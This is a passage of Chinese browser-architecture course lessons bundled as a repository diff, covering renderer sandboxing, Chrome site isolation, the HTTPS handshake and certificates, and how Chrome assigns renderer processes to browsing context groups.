同样有了安全沙箱的保护在渲染进程内部也是不能直接访问网络的如果要访问网络则需要通过浏览器内核。不过浏览器内核在处理URL请求之前会检查渲染进程是否有权限请求该URL比如检查XMLHttpRequest或者Fetch是否是跨站点请求或者检测HTTPS的站点中是否包含了HTTP的请求。
### 3. 用户交互
渲染进程实现了安全沙箱,还影响到了一个非常重要的用户交互功能。
通常情况下如果你要实现一个UI程序操作系统会提供一个界面给你该界面允许应用程序与用户交互允许应用程序在该界面上进行绘制比如Windows提供的是HWNDLinux提供的X Window我们就把HWND和X Window统称为窗口句柄。应用程序可以在窗口句柄上进行绘制和接收键盘鼠标消息。
不过在现代浏览器中,由于每个渲染进程都有安全沙箱的保护,所以在渲染进程内部是无法直接操作窗口句柄的,这也是为了限制渲染进程监控到用户的输入事件。
由于渲染进程不能直接访问**窗口句柄**,所以渲染进程需要完成以下两点大的改变。
第一点,渲染进程需要渲染出位图。为了向用户显示渲染进程渲染出来的位图,渲染进程需要将生成好的位图发送到浏览器内核,然后浏览器内核将位图复制到屏幕上。
第二点,操作系统没有将用户输入事件直接传递给渲染进程,而是将这些事件传递给浏览器内核。然后浏览器内核再根据当前浏览器界面的状态来判断如何调度这些事件,如果当前焦点位于浏览器地址栏中,则输入事件会在浏览器内核内部处理;如果当前焦点在页面的区域内,则浏览器内核会将输入事件转发给渲染进程。
之所以这样设计就是为了限制渲染进程有监控到用户输入事件的能力所以所有的键盘鼠标事件都是由浏览器内核来接收的然后浏览器内核再通过IPC将这些事件发送给渲染进程。
上面我们分析了由于渲染进程引入了安全沙箱,所以浏览器的持久存储、网络访问和用户交互等功能都不能在渲染进程内直接使用了,因此我们需要把这些功能迁移到浏览器内核中去实现,这让原本比较简单的流程变得复杂了。
理解这些限制,我们就能解释开始提出的两个问题了。
## 站点隔离Site Isolation
所谓站点隔离是指Chrome将同一站点包含了相同根域名和相同协议的地址中相互关联的页面放到同一个渲染进程中执行。
最开始Chrome划分渲染进程是以标签页为单位也就是说整个标签页会被划分给某个渲染进程。但是按照标签页划分渲染进程存在一些问题原因就是一个标签页中可能包含了多个iframe而这些iframe又有可能来自于不同的站点这就导致了多个不同站点中的内容通过iframe同时运行在同一个渲染进程中。
目前所有操作系统都面临着两个A级漏洞——幽灵Spectre和熔毁Meltdown这两个漏洞是由处理器架构导致的很难修补黑客通过这两个漏洞可以直接入侵到进程的内部如果入侵的进程没有安全沙箱的保护那么黑客还可以发起对操作系统的攻击。
所以如果一个银行站点包含了一个恶意iframe然后这个恶意的iframe利用这两个A级漏洞去入侵渲染进程那么恶意程序就能读取银行站点渲染进程内的所有内容了这对于用户来说就存在很大的风险了。
因此Chrome几年前就开始重构代码将标签级的渲染进程重构为iframe级的渲染进程然后严格按照同一站点的策略来分配渲染进程这就是Chrome中的站点隔离。
实现了站点隔离就可以将恶意的iframe隔离在恶意进程内部使得它无法继续访问其他iframe进程的内容因此也就无法攻击其他站点了。
值得注意是2019年10月20日Chrome团队宣布安卓版的Chrome已经全面支持站点隔离你可以参考[文中链接](https://www.digitalinformationworld.com/2019/10/google-improves-site-isolation-for-stronger-chrome-browser-security.html)。
## 总结
好了,今天的内容就介绍到这里,下面我来总结下本文的主要内容。
首先我们分析了单进程浏览器在系统安全方面的不足,如果浏览器存在漏洞,那么黑客就有机会通过页面对系统发起攻击。
因此在设计现代浏览器的体系架构时,就考虑到这个问题了。于是,在多进程的基础之上引入了安全沙箱,有了安全沙箱,就可以将操作系统和渲染进程进行隔离,这样即便渲染进程由于漏洞被攻击,也不会影响到操作系统的。
由于渲染进程采用了安全沙箱所以在渲染进程内部不能与操作系统直接交互于是就在浏览器内核中实现了持久存储、网络访问和用户交互等一系列与操作系统交互的功能然后通过IPC和渲染进程进行交互。
最后我们还分析了Chrome中最新的站点隔离功能。由于最初都是按照标签页来划分渲染进程的所以如果一个标签页里面有多个不同源的iframe那么这些iframe也会被分配到同一个渲染进程中这样就很容易让黑客通过iframe来攻击当前渲染进程。而站点隔离会将不同源的iframe分配到不同的渲染进程中这样即使黑客攻击恶意iframe的渲染进程也不会影响到其他渲染进程的。
今天介绍的内容和概念都比较多,看上去离前端比较远,不过这些内容会影响你对浏览器整体架构的理解,而深入理解了浏览器架构能帮助你更加深刻地理解前端内容。为了方便你的理解,我把一些参考资料放到了文章的最后,有需要的话你可以拿来参考。
## 思考时间
今天留给你的思考题你认为安全沙箱能防止XSS或者CSRF一类的攻击的吗为什么
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
## 参考资料
<li>
安全沙箱的设计参考了[最小权限原则](https://zh.wikipedia.org/wiki/%E6%9C%80%E5%B0%8F%E6%9D%83%E9%99%90%E5%8E%9F%E5%88%99)
</li>
<li>
[The Security Architecture of the Chromium Browser](http://seclab.stanford.edu/websec/chromium/chromium-security-architecture.pdf)
</li>
<li>
[The Security Architecture of the Chromium Browser-ppt](https://prezi.com/l3zlqveefln7/the-security-architecture-of-the-chromium-browser/)
</li>
<li>
[chromium site-isolation](https://www.chromium.org/developers/design-documents/site-isolation)
</li>
<li>
[Site Isolation](https://www.bisend.cn/blog/google-chrome-site-isolation)
</li>
<li>
[Site Isolation: Process Separation for Web Sites within the Browser](https://www.usenix.org/system/files/sec19-reis.pdf)
</li>

View File

@@ -0,0 +1,166 @@
<audio id="audio" title="36 | HTTPS让数据传输更安全" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/0f/c2/0f14c3b2050aa3be1144c28ad7acecc2.mp3"></audio>
浏览器安全主要划分为三大块内容页面安全、系统安全和网络安全。前面我们用四篇文章介绍了页面安全和系统安全也聊了浏览器和Web开发者是如何应对各种类型的攻击本文是我们专栏的最后一篇我们就接着来聊聊网络安全协议HTTPS。
我们先从HTTP的明文传输的特性讲起在上一个模块的三篇文章中我们分析过起初设计HTTP协议的目的很单纯就是为了传输超文本文件那时候也没有太强的加密传输的数据需求所以HTTP一直保持着明文传输数据的特征。但这样的话在传输过程中的每一个环节数据都有可能被窃取或者篡改这也意味着你和服务器之间还可能有个中间人你们在通信过程中的一切内容都在中间人的掌握中如下图
<img src="https://static001.geekbang.org/resource/image/11/e2/118ced11537bd1e257f8df09380f33e2.png" alt="">
从上图可以看出我们使用HTTP传输的内容很容易被中间人窃取、伪造和篡改通常我们把这种攻击方式称为**中间人攻击**。
具体来讲在将HTTP数据提交给TCP层之后数据会经过用户电脑、WiFi路由器、运营商和目标服务器在这中间的每个环节中数据都有可能被窃取或篡改。比如用户电脑被黑客安装了恶意软件那么恶意软件就能抓取和篡改所发出的HTTP请求的内容。或者用户一不小心连接上了WiFi钓鱼路由器那么数据也都能被黑客抓取或篡改。
## 在HTTP协议栈中引入安全层
鉴于HTTP的明文传输使得传输过程毫无安全性可言且制约了网上购物、在线转账等一系列场景应用于是倒逼着我们要引入**加密方案**。
从HTTP协议栈层面来看我们可以在TCP和HTTP之间插入一个安全层所有经过安全层的数据都会被加密或者解密你可以参考下图
<img src="https://static001.geekbang.org/resource/image/9e/cf/9e99f797de30a15a11b0e4b4c8f810cf.png" alt="">
从图中我们可以看出HTTPS并非是一个新的协议通常HTTP直接和TCP通信HTTPS则先和安全层通信然后安全层再和TCP层通信。也就是说HTTPS所有的安全核心都在安全层它不会影响到上面的HTTP协议也不会影响到下面的TCP/IP因此要搞清楚HTTPS是如何工作的就要弄清楚安全层是怎么工作的。
总的来说,安全层有两个主要的职责:**对发起HTTP请求的数据进行加密操作**和**对接收到HTTP的内容进行解密操作**。
我们知道了安全层最重要的就是加解密那么接下来我们就利用这个安全层一步一步实现一个从简单到复杂的HTTPS协议。
## 第一版:使用对称加密
提到加密,最简单的方式是使用对称加密。所谓**对称加密是指加密和解密都使用的是相同的密钥**。
了解了对称加密下面我们就使用对称加密来实现第一版的HTTPS。
要在两台电脑上加解密同一个文件我们至少需要知道加解密方式和密钥因此在HTTPS发送数据之前浏览器和服务器之间需要协商加密方式和密钥过程如下所示
<img src="https://static001.geekbang.org/resource/image/d8/3b/d86648267d5504c7813b2d692620503b.png" alt="">
通过上图我们可以看出HTTPS首先要协商加解密方式这个过程就是HTTPS建立安全连接的过程。为了让加密的密钥更加难以破解我们让服务器和客户端同时决定密钥具体过程如下
- 浏览器发送它所支持的加密套件列表和一个随机数client-random这里的**加密套件是指加密的方法**,加密套件列表就是指浏览器能支持多少种加密方法列表。
- 服务器会从加密套件列表中选取一个加密套件然后还会生成一个随机数service-random并将service-random和加密套件列表返回给浏览器。
- 最后浏览器和服务器分别返回确认消息。
这样浏览器端和服务器端都有相同的client-random和service-random了然后它们再使用相同的方法将client-random和service-random混合起来生成一个密钥master secret有了密钥master secret和加密套件之后双方就可以进行数据的加密传输了。
通过将对称加密应用在安全层上我们实现了第一个版本的HTTPS虽然这个版本能够很好地工作但是其中传输client-random和service-random的过程却是明文的这意味着黑客也可以拿到协商的加密套件和双方的随机数由于利用随机数合成密钥的算法是公开的所以黑客拿到随机数之后也可以合成密钥这样数据依然可以被破解那么黑客也就可以使用密钥来伪造或篡改数据了。
## 第二版:使用非对称加密
不过非对称加密能够解决这个问题因此接下来我们就利用非对称加密来实现我们第二版的HTTPS不过在讨论具体的实现之前我们先看看什么是非对称加密。
和对称加密只有一个密钥不同,**非对称加密算法有A、B两把密钥如果你用A密钥来加密那么只能使用B密钥来解密反过来如果你要B密钥来加密那么只能用A密钥来解密**。
在HTTPS中服务器会将其中的一个密钥通过明文的形式发送给浏览器我们把这个密钥称为**公钥**,服务器自己留下的那个密钥称为**私钥**。顾名思义,**公钥是每个人都能获取到的,而私钥只有服务器才能知道,不对任何人公开**。下图是使用非对称加密改造的HTTPS协议
<img src="https://static001.geekbang.org/resource/image/b2/50/b2b893921491c62b29aaddc1d4fa9550.png" alt="">
根据该图,我们来分析下使用非对称加密的请求流程。
- 首先浏览器还是发送加密套件列表给服务器。
- 然后服务器会选择一个加密套件不过和对称加密不同的是使用非对称加密时服务器上需要有用于浏览器加密的公钥和服务器解密HTTP数据的私钥由于公钥是给浏览器加密使用的因此服务器会将加密套件和公钥一道发送给浏览器。
- 最后就是浏览器和服务器返回确认消息。
这样浏览器端就有了服务器的公钥,在浏览器端向服务器端发送数据时,就可以使用该公钥来加密数据。由于公钥加密的数据只有私钥才能解密,所以即便黑客截获了数据和公钥,他也是无法使用公钥来解密数据的。
因此采用非对称加密,就能保证浏览器发送给服务器的数据是安全的了,这看上去似乎很完美,不过这种方式依然存在两个严重的问题。
- **第一个是非对称加密的效率太低**。这会严重影响到加解密数据的速度,进而影响到用户打开页面的速度。
- **第二个是无法保证服务器发送给浏览器的数据安全**。虽然浏览器端可以使用公钥来加密,但是服务器端只能采用私钥来加密,私钥加密只有公钥能解密,但黑客也是可以获取得到公钥的,这样就不能保证服务器端数据的安全了。
## 第三版:对称加密和非对称加密搭配使用
基于以上两点原因,我们最终选择了一个更加完美的方案,那就是**在传输数据阶段依然使用对称加密,但是对称加密的密钥我们采用非对称加密来传输**。下图就是改造后的版本:
<img src="https://static001.geekbang.org/resource/image/d5/45/d5cd34dbf3636ebc0e809aa424c53845.png" alt="">
从图中可以看出,改造后的流程是这样的:
- 首先浏览器向服务器发送对称加密套件列表、非对称加密套件列表和随机数client-random
- 服务器保存随机数client-random选择对称加密和非对称加密的套件然后生成随机数service-random向浏览器发送选择的加密套件、service-random和公钥
- 浏览器保存公钥并生成随机数pre-master然后利用公钥对pre-master加密并向服务器发送加密后的数据
- 最后服务器拿出自己的私钥解密出pre-master数据并返回确认消息。
到此为止服务器和浏览器就有了共同的client-random、service-random和pre-master然后服务器和浏览器会使用这三组随机数生成**对称密钥**,因为服务器和浏览器使用同一套方法来生成密钥,所以最终生成的密钥也是相同的。
有了对称加密的密钥之后,双方就可以使用对称加密的方式来传输数据了。
需要特别注意的一点,**pre-master是经过公钥加密之后传输的所以黑客无法获取到pre-master这样黑客就无法生成密钥也就保证了黑客无法破解传输过程中的数据了**。
## 第四版:添加数字证书
通过对称和非对称混合方式我们完美地实现了数据的加密传输。不过这种方式依然存在着问题比如我要打开极客时间的官网但是黑客通过DNS劫持将极客时间官网的IP地址替换成了黑客的IP地址这样我访问的其实是黑客的服务器了黑客就可以在自己的服务器上实现公钥和私钥而对浏览器来说它完全不知道现在访问的是个黑客的站点。
所以我们还需要服务器向浏览器提供证明“我就是我”,那怎么证明呢?
这里我们结合实际生活中的一个例子,比如你要买房子,首先你需要给房管局提交你买房的材料,包括银行流水、银行证明、身份证等,然后房管局工作人员在验证无误后,会发给你一本盖了章的房产证,房产证上包含了你的名字、身份证号、房产地址、实际面积、公摊面积等信息。
在这个例子中,你之所以能证明房子是你自己的,是因为引进了房管局这个**权威机构**,并通过这个权威机构给你颁发一个**证书**:房产证。
同理,极客时间要证明这个服务器就是极客时间的,也需要使用权威机构颁发的证书,这个权威机构称为**CACertificate Authority**,颁发的证书就称为**数字证书Digital Certificate)**。
对于浏览器来说,数字证书有两个作用:一个是通过数字证书向浏览器证明服务器的身份,另一个是数字证书里面包含了服务器公钥。
接下来我们看看含有数字证书的HTTPS的请求流程你可以参考下图
<img src="https://static001.geekbang.org/resource/image/77/af/77c852ff2202b2b7bb3299a96a0f4aaf.png" alt="">
相较于第三版的HTTPS协议这里主要有两点改变
1. 服务器没有直接返回公钥给浏览器,而是返回了数字证书,而公钥正是包含在数字证书中的;
1. 在浏览器端多了一个证书验证的操作,验证了证书之后,才继续后续流程。
通过引入数字证书,我们就实现了服务器的身份认证功能,这样即便黑客伪造了服务器,但是由于证书是没有办法伪造的,所以依然无法欺骗用户。
## 数字证书的申请和验证
通过上面四个版本的迭代我们实现了目前的HTTPS架构。
在第四版的HTTPS中我们提到过有了数字证书黑客就无法欺骗用户了不过我们并没有解释清楚如何通过数字证书来证明用户身份所以接下来我们再来把这个问题解释清楚。
### 如何申请数字证书
我们先来看看如何向CA申请证书。比如极客时间需要向某个CA去申请数字证书通常的申请流程分以下几步
- 首先极客时间需要准备一套私钥和公钥,私钥留着自己使用;
- 然后极客时间向CA机构提交公钥、公司、站点等信息并等待认证这个认证过程可能是收费的
- CA通过线上、线下等多种渠道来验证极客时间所提供信息的真实性如公司是否存在、企业是否合法、域名是否归属该企业等
- 如信息审核通过CA 会向极客时间签发认证的数字证书包含了极客时间的公钥、组织信息、CA 的信息、有效时间、证书序列号等这些信息都是明文的同时包含一个CA生成的签名。
这样我们就完成了极客时间数字证书的申请过程。前面几步都很好理解不过最后一步数字签名的过程还需要解释下首先CA使用**Hash函数**来计算极客时间提交的明文信息,并得出**信息摘要**然后CA再使用它的私钥对信息摘要进行加密**加密后的密文就是CA颁给极客时间的数字签名**。这就相当于房管局在房产证上盖的章这个章是可以去验证的同样我们也可以通过数字签名来验证是否是该CA颁发的。
### 浏览器如何验证数字证书
有了CA签名过的数字证书当浏览器向极客时间服务器发出请求时服务器会返回数字证书给浏览器。
浏览器接收到数字证书之后会对数字证书进行验证。首先浏览器读取证书中相关的明文信息采用CA签名时相同的Hash函数来计算并得到**信息摘要A**;然后再利用对应 CA 的公钥解密签名数据,得到**信息摘要B**对比信息摘要A和信息摘要B如果一致则可以确认证书是合法的即证明了这个服务器是极客时间的同时浏览器还会验证证书相关的域名信息、有效时间等信息。
这时候相当于验证了CA是谁但是这个CA可能比较小众浏览器不知道该不该信任它然后浏览器会继续查找给这个CA颁发证书的CA再以同样的方式验证它上级CA的可靠性。通常情况下操作系统中会内置信任的顶级 CA 的证书信息包含公钥如果这个CA链中没有找到浏览器内置的顶级的CA证书也会被判定非法。
另外,在申请和使用证书的过程中,还需要注意以下三点:
1. 申请数字证书是不需要提供私钥的,要确保私钥永远只能由服务器掌握;
1. 数字证书最核心的是CA使用它的私钥生成的数字签名
1. 内置 CA 对应的证书称为根证书,根证书是最权威的机构,它们自己为自己签名,我们把这称为自签名证书。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
由于HTTP的明文传输特性在传输过程中的每一个环节数据都有可能被窃取或者篡改这倒逼着我们需要引入加密机制。于是我们在HTTP协议栈的TCP和HTTP层之间插入了一个安全层负责数据的加密和解密操作。
我们使用对称加密实现了安全层,但是由于对称加密的密钥需要明文传输,所以我们又将对称加密改造成了非对称加密。但是非对称加密效率低且不能加密服务器到浏览器端的数据,于是我们又继续改在安全层,采用对称加密的方式加密传输数据和非对称加密的方式来传输密钥,这样我们就解决传输效率和两端数据安全传输的问题。
采用这种方式虽然能保证数据的安全传输但是依然没办法证明服务器是可靠的于是又引入了数字证书数字证书是由CA签名过的所以浏览器能够验证该证书的可靠性。
另外百看不如一试我建议你自己亲手搭建一个HTTPS的站点可以去freeSSL申请免费证书。链接我已经放在文中了
- 中文:[https://freessl.cn/](https://freessl.cn/)
- 英文:[https://www.freessl.com/](https://www.freessl.com/)
## 思考时间
今天留给你的作业结合前面的文章以及本文你来总结一下HTTPS的握手过程。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,30 @@
你好,我是李兵。在这个专栏中,我们对浏览器的工作原理进行了详细的介绍。
初期的浏览器展示的只是一些静态页面随着需要和页面交互的需求越来越多JavaScript就出现在了浏览器中它让静态的页面动了起来。目前JavaScript已成为页面中最核心的一部分了不过JavaScript作为一门高级语言它的代码给到浏览器或者Node.js时是不能直接被底层的CPU所执行的这就需要通过JavaScript虚拟机来实现代码的编译和执行。
市面上有很多种JavaScript虚拟机比如SpiderMonkey、V8、JavaScriptCore等其中由谷歌开发的开源项目V8使用最为广泛。
V8主要应用于Google开源浏览器Chrome中它拥有非常庞大的生态圈一方面得益于全球25亿台安卓设备上的Chrome浏览器另一方面也和它的许多革命性设计分不开。
比如V8摒弃了导致JavaScript执行速度过慢的解释执行方式率先采用了即时编译JIT的双轮驱动的设计混合了编译执行和解释执行两种方式。JIT作为一种权衡策略大幅优化了JavaScript代码的执行效率也将JavaScript虚拟机技术推向了一个全新的高度。
作为JavaScript程序员你可能并不会去实现一个JavaScript虚拟机不过我们还是有必要理解JavaScript虚拟机工作机制的你可以从中学习到很多优化性能的方法帮你写出更高效的JavaScript代码。
所以,我回到极客时间做了第二季专栏《[图解Google V8](https://time.geekbang.org/column/intro/296?utm_term=zeusOVYAE&utm_source=app&utm_medium=geektime&utm_campaign=296-presell&utm_content=liulanqizhuanlan0316)》。在这一季里我会专门讲讲V8的工作原理帮你完整梳理V8的核心知识体系。在讲述方式上我仍然延续这一季的风格通过大量图片演示深入浅出地讲解V8执行JavaScript代码的底层机制和原理。
希望通过这门课程带你了解完整的V8编译流水线同时通过对V8工作机制的学习搞懂JavaScript语言的核心特性进而从根源解决程序问题加快JavaScript的执行速度。
下面是专栏的目录:
<img src="https://static001.geekbang.org/resource/image/2c/a1/2cb0c3abcb6d7683df56353ac33beca1.jpg" alt="">
为了感谢老同学,我还准备了一个「专属福利」:
3 月 16 日,专栏上新时,我会送你一张 10 元专属优惠券,可与限时优惠同享,有效期 48 小时,建议尽早使用。
**点击下方图片**,立即免费试读新专栏。
[<img src="https://static001.geekbang.org/resource/image/c4/c4/c485757bed7d2269fe02048011a5f5c4.jpg" alt="">](https://time.geekbang.org/column/intro/296?utm_term=zeusOVYAE&utm_source=app&utm_medium=geektime&utm_campaign=296-presell&utm_content=liulanqizhuanlan0316)
一段新的征程,期待与你见证成长!我在《[图解Google V8](https://time.geekbang.org/column/intro/296?utm_term=zeusOVYAE&utm_source=app&utm_medium=geektime&utm_campaign=296-presell&utm_content=liulanqizhuanlan0316)》等你。

View File

@@ -0,0 +1,23 @@
<audio id="audio" title="结束语 | 大道至简" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/81/42/81a9e16a93f0610285b4ba5e75338d42.mp3"></audio>
你好,我是李兵。不知不觉中专栏已经更新完了,总的来说, 我写本专栏的过程是痛并快乐着。
觉得痛苦是因为写作期间每一天都能感受到多方的压力完全没有放松的机会。在这过程中阅读Chromium和V8的源代码占用了我大量的时间因为有时候要验证文章的一些观点或者找出一些知识点的实现逻辑都需要通过阅读源代码来给出结论。V8的源代码还算好读但Chromium的源代码就过于复杂了要看一个功能是怎么实现的就得查看几十个源文件而且这些代码中充斥着大量的回调函数大大增加了阅读代码的难度。
当然这个过程中,我也觉得是快乐的,因为通过本专栏我解锁了两件非常有挑战的技能。
第一件是写技术文章。通过本专栏,我对写技术文章有了比较系统性的方法论,也理解了写技术文章的核心就是**用简单的语言讲清楚一个复杂的问题**。不过要做好却并非易事,搞清楚目标群体、对这个领域有深刻的理解和洞见、组织好文章的层次结构……一样都不能少,只有这样才能做到有的放矢。
在专栏的写作过程中,我还发现了写文章和做项目的相通之处。我们知道通常做项目时需要首先确认核心需求,并快速交付一个最小可行产品,然后再根据实际的需求来迭代产品。
而在设计专栏目录时,我也有意识地将文章分为“**搭建知识架构型**”和“**深入讲解单个知识点型**”。“搭建知识架构型”文章的主要任务是将相互关联的知识点串成线、连成网,这类文章的核心任务就是做连接,但这过程中又会涉及到很多知识点,不过单个知识点是怎么工作的并不是核心,因此我会将这些细节性的知识点关进“黑盒”,你只需要了解“黑盒”起到的作用是什么就行了,并不需要关心其内部实现的细节。相反,在“深入讲解单个知识点型”这类文章中,我会拆解这些“黑盒”,并将一个个知识点分析透彻。
我解锁的第二个有挑战的技能就是专栏录音,为此我还专门学习了一些录音技巧,虽然录音效果和专业主播比起来还有些差距,但对于我个人而言,这是我迈出去的“重要的第一步”!
如果非让我总结写作过程中的一些经验和心得,我会用四个词来概括:**大道至简,学会权衡,懂得舍弃,持续进化**。具体来讲,首先你懂得了大道,有着全局视野,才有能力去分析哪些是重要的、哪些是不重要的,这样你才有可能去化繁为简;在化繁为简的过程中,你还需要去权衡利弊,有勇气去舍弃那些不重要的或者已经花费了大量精力去做的事;完成之后,你还需要持续跟进,进行持续的重构改进!
我特别感谢极客时间给我这次机会,在这过程中,我学习了很多,也成长了很多。也非常感谢你在留言区的反馈和意见,才让我可以持续优化本专栏。虽然这是专栏的结束语,不过本专栏还会持续优化下去,我会详细回复你的留言,并对专栏做一些勘误和结构的优化,如有必要后续我还会准备一些加餐环节。
(备注:结课调研已完结)

View File

@@ -0,0 +1,10 @@
你好,我是李兵。
到这里,《浏览器工作原理与实践》这门课程已经全部结束了。我给你准备了一个结课小测试,来帮助你检验自己的学习效果。
这套测试题共有 20 道题目包括14道单选题和6道多选题满分 100 分,系统自动评分。
还等什么,点击下面按钮开始测试吧!
[<img src="https://static001.geekbang.org/resource/image/28/a4/28d1be62669b4f3cc01c36466bf811a4.png" alt="">](http://time.geekbang.org/quiz/intro?act_id=197&amp;exam_id=523)

View File

@@ -0,0 +1,162 @@
<audio id="audio" title="加餐一浏览上下文组如何计算Chrome中渲染进程的个数" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/cd/59/cda88e0850cd772520441adf9264e159.mp3"></audio>
你好,我是李兵。
在留言区经常有朋友问到如何计算Chrome中渲染进程个数的问题那么今天我就来完整地解答这个问题。
在前面“[04 | 导航流程](https://time.geekbang.org/column/article/117637)”这一讲中我们介绍过了,在默认情况下,如果打开一个标签页,那么浏览器会默认为其创建一个渲染进程。不过我们在“[04 | 导航流程](https://time.geekbang.org/column/article/117637)”中还介绍了同一站点的概念,如果从一个标签页中打开了另一个新标签页,当新标签页和当前标签页属于同一站点的话,那么新标签页会复用当前标签页的渲染进程。
具体地讲,如果我从极客邦(www.geekbang.org) 的标签页中打开新的极客时间(time.geekbang.org) 标签页,由于这两个标签页属于同一站点(相同协议、相同根域名)所以他们会共用同一个渲染进程。你可以看下面这张Chrome的任务管理器截图
<img src="https://static001.geekbang.org/resource/image/f8/5c/f87168a79df0b87a08b243937f53545c.png" alt="">
观察上图我们可以看到极客邦官网和极客时间标签页都共用同一个渲染进程该进程ID是84748。
不过如果我们分别打开这两个标签页,比如先打开极客邦的标签页,然后再新建一个标签页,再在这个新标签页中打开极客时间,这时候我们可以看到这两个标签页分别使用了两个不同的渲染进程。你可以参看下图:
<img src="https://static001.geekbang.org/resource/image/34/f9/34815ee3a8d5057d39ebb6f871fbf0f9.jpg" alt="">
那么到了这里你一定会很好奇既然都是同一站点为什么从A标签页中打开B标签页就会使用同一个渲染进程而分别打开这两个标签页又会分别使用不同的渲染进程
## 标签页之间的连接
要搞清楚这个问题,我们要先来分析下浏览器标签页之间的连接关系。
我们知道浏览器标签页之间是可以通过JavaScript脚本来连接的通常情况下有如下几种连接方式
**第一种是通过`&lt;a&gt;`标签来和新标签建立连接**,这种方式我们最熟悉,比如下面这行代码是从极客邦标签页里面拷贝过来的:
```
&lt;a href=&quot;https://time.geekbang.org/&quot; target=&quot;_blank&quot; class=&quot;&quot;&gt;极客时间&lt;/a&gt;
```
这是从极客邦官网中打开极客时间的链接点击该链接会打开新的极客时间标签页新标签页中的window.opener的值就是指向极客邦标签页中的window这样就可以在新的极客时间标签页中通过opener来操作上个极客邦的标签页了。这样我们可以说这两个标签页是有连接的。
另外,**还可以通过JavaScript中的window.open方法来和新标签页建立连接**,演示代码如下所示:
```
new_window = window.open(&quot;http://time.geekbang.org&quot;)
```
通过上面这种方式可以在当前标签页中通过new_window来控制新标签页还可以在新标签页中通过window.opener来控制当前标签页。所以我们也可以说如果从A标签页中通过window.open的方式打开B标签页那么A和B标签页也是有连接的。
其实通过上述两种方式打开的新标签页不论这两个标签页是否属于同一站点他们之间都能通过opener来建立连接所以他们之间是有联系的。在WhatWG规范中把这一类具有相互连接关系的标签页称为**浏览上下文组( browsing context group)。**
既然提到浏览上下文组就有必要提下浏览上下文通常情况下我们把一个标签页所包含的内容诸如window对象历史记录滚动条位置等信息称为浏览上下文。这些通过脚本相互连接起来的浏览上下文就是浏览上下文组。如果你有兴趣可以参开下[规范文档](https://html.spec.whatwg.org/multipage/browsers.html#groupings-of-browsing-contexts)。
也就是说如果在极客邦的标签页中通过链接打开了多个新的标签页不管这几个新的标签页是否是同一站点他们都和极客邦的标签页构成了浏览上下文组因为这些标签页中的opener都指向了极客邦标签页。
**Chrome浏览器会将浏览上下文组中属于同一站点的标签分配到同一个渲染进程中**,这是因为如果一组标签页,既在同一个浏览上下文组中,又属于同一站点,那么它们可能需要在对方的标签页中执行脚本。因此,它们必须运行在同一渲染进程中。
现在我们清楚了浏览器是怎么分配渲染进程的了,接下来我们就可以来分析文章开头提的那个问题了:
>
既然都是同一站点为什么从A标签页中打开B标签页就会使用同一个渲染进程 而分别打开这两个标签页,又会分别使用不同的渲染进程?
首先来看第一种,在极客邦标签页内部通过链接打开极客时间标签页,那么极客时间标签页和极客邦标签页属于同一个浏览上下文组,且它们属于同一站点,所以浏览器会将它们分配到同一个渲染进程之中。
而第二种情况就简单多了,因为第二个标签页中并没有第一个标签页中的任何信息,第一个标签页也不包含任何第二个标签页中的信息,所以他们不属于同一个浏览上下文组,因此即便他们属于同一站点,也不会运行在同一个渲染进程之中。下面是我画的计算标签页的流程图,你可以参考下:
<img src="https://static001.geekbang.org/resource/image/cb/b6/cbc89902f5ce12420101246c4a227cb6.jpg" alt="">
## 一个“例外”
好了现在我们清楚了Chrome浏览器为标签页分配渲染进程的策略了
1. **如果两个标签页都位于同一个浏览上下文组,且属于同一站点,那么这两个标签页会被浏览器分配到同一个渲染进程中。**
1. **如果这两个条件不能同时满足,那么这两个标签页会分别使用不同的渲染进程来渲染。**
现在你可以想一下如果从A标签页中打开B标签页那我们能肯定A标签页和B标签页属于同一浏览上下文组吗
答案是“不能”,下面我们就来看个例子,在“[04 | 导航流程](https://time.geekbang.org/column/article/117637)”的留言区中ID为“芳华年月”的朋友就提出了这样的一个问题
>
请问老师,[https://linkmarket.aliyun.com](https://linkmarket.aliyun.com) 内新开的标签页都是新开一个渲染进程,能帮忙解释下吗?
我们先来复现下“芳华年月”所描述的现象首先打开linkmarket.aliyun.com这个标签页再在这个标签页中随便点击两个链接然后就打开了两个新的标签页了如下图所示
<img src="https://static001.geekbang.org/resource/image/87/44/8727a2cef7bc8bc2023a37d6368bb344.png" alt="">
我通过A标签页中的链接打开了两个新标签页B和C而且我们也可以看出来A、B、C三个标签页都属于同一站点正常情况下它们应该共用同一个渲染进程不过通过上图我们可以看出来A、B、C三个标签页分别使用了三个不同的渲染进程。
既然属于同一站点,又不在同一个渲染进程中,所以可以推断这三个标签页不属于同一个浏览上下文组,那么我们接下来的分析思路就很清晰了:
1. 首先验证这三个标签页是不是真的不在同一个浏览上下文组中;
1. 然后再分析它们为什么不在同一浏览上下文组。
为了验证猜测我们可以通过控制台来看看B标签页和C标签标签页的opener的值结果发现这两个标签页中的opener的值都是null这就确定了B、C标签页和A标签页没有连接关系当然也就不属于同一浏览上下文组了。
验证了猜测,接下来的我们就是来查查,阿里的这个站点是不是采用了什么特别的手段,移除了这两个标签页之间的连接关系。
我们可以看看实现链接的HTML文件如下图所示<br>
<img src="https://static001.geekbang.org/resource/image/ec/7e/ec3c6414a0e6eff3a04cfa7ec9486f7e.jpg" alt="">
通过上图我们可以发现a链接的rel属性值都使用了noopener 和 noreferrer通过noopener我们能猜测得到这两个值是让被链接的标签页和当前标签页不要产生连接关系。
通常将noopener的值引入rel属性中就是告诉浏览器通过这个链接打开的标签页中的opener值设置为null引入noreferrer是告诉浏览器新打开的标签页不要有引用关系。
好了到了这里我们就知道了通过linkmarket.aliyun.com标签页打开新的标签页要使用单独的一个进程是因为使用了rel= noopener的属性所以新打开的标签页和现在的标签页就没有了引用关系当然它们也就不属于同一浏览上下文组了。这也同时解答了“芳华年月”所提出的问题。
## 站点隔离
